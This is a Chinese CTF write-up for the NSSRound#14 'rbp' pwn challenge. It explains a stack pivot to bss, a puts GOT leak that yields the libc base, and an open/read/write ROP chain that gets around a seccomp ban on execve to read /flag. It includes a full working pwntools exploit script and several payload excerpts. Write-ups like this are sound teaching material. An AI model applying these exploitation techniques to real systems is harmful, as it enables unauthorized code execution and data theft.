[NSSRound#14 Basic]rbp
zach0ry

题目

image-20250902093736363

image-20250902093746877

可以看到是栈迁移,而且是只有read输入的类型,考虑lea类型

image-20250902094136166

因为read读入数据之后哈有个puts输出,为了防止发送数据的时机不对,我们控制lea在输出try it之前,以控制程序执行流程

image-20250902100158958

又看到沙盒,在程序中验证

image-20250902100141507

  • 允许所有系统调用
  • 唯独禁止 execve(也就是不能直接 execve("/bin/sh")

所以用沙盒

open, read,write

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
#io=process('./rbp')
io=remote("node4.anna.nssctf.cn",28726)
#gdb.attach(io, "b*0x4012BF")
elf=ELF('./rbp')
libc=ELF('./libc.so.6')
bss=0x404800
leave=p64(0x4012BF)
payload=b'a'*0x210+p64(bss)+p64(0x40127F)
io.sendafter(b"try it\n",payload)
io.recvline()
rdi=p64(0x401353)
rbp=0X40126E
lea=0x401286

# payload=p64(bss+0x600)+rdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(lea)
# payload=payload.ljust(0x210,b'\x00')
# payload+=p64(bss-0x210)+leave

payload=rdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x600)+p64(lea)
payload=payload.ljust(0x210,b'\x00')
payload+=p64(bss-0x210-8)+leave


io.sendafter(b"try it\n",payload)
io.recvline()
puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print(b"puts==========================="+hex(puts_add).encode())
offset=puts_add-libc.sym['puts']

success('offset: '+hex(offset))

openn=offset+libc.sym['open']
read=offset+libc.sym['read']
write=offset+libc.sym['write']

rsi=p64(offset+0x2601f)
rdx=p64(offset+0x142c92)

payload=b'/flag\x00\x00\x00'
payload+=rdi+p64(bss+0x600-0x210)+rsi+p64(0)+rdx+p64(0)+p64(openn)
payload+=rdi+p64(3)+rsi+p64(bss)+rdx+p64(0x50)+p64(read)
payload+=rdi+p64(1)+rsi+p64(bss)+rdx+p64(0x50)+p64(write)
payload=payload.ljust(0x210,b'\x00')
payload+=p64(bss+0x600-0x210)+leave
io.sendafter(b"try it\n",payload)

io.interactive()

收获

rbp控制

1
2
3
payload=p64(bss+0x600)+rdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(lea)
payload=payload.ljust(0x210,b'\x00')
payload+=p64(bss-0x210)+leave

在payload最开始控制rbp,让函数跳转过去之后第一个pop为rbp,最后直接lea跳转执行raed函数

orw的系统调用

1
2
3
4
5
6
7
payload=b'/flag\x00\x00\x00'
payload+=rdi+p64(bss+0x600-0x210)+rsi+p64(0)+rdx+p64(0)+p64(openn)
payload+=rdi+p64(3)+rsi+p64(bss)+rdx+p64(0x50)+p64(read)
payload+=rdi+p64(1)+rsi+p64(bss)+rdx+p64(0x50)+p64(write)
payload=payload.ljust(0x210,b'\x00')
payload+=p64(bss+0x600-0x210)+leave
io.sendafter(b"try it\n",payload)

通过寄存器控制函数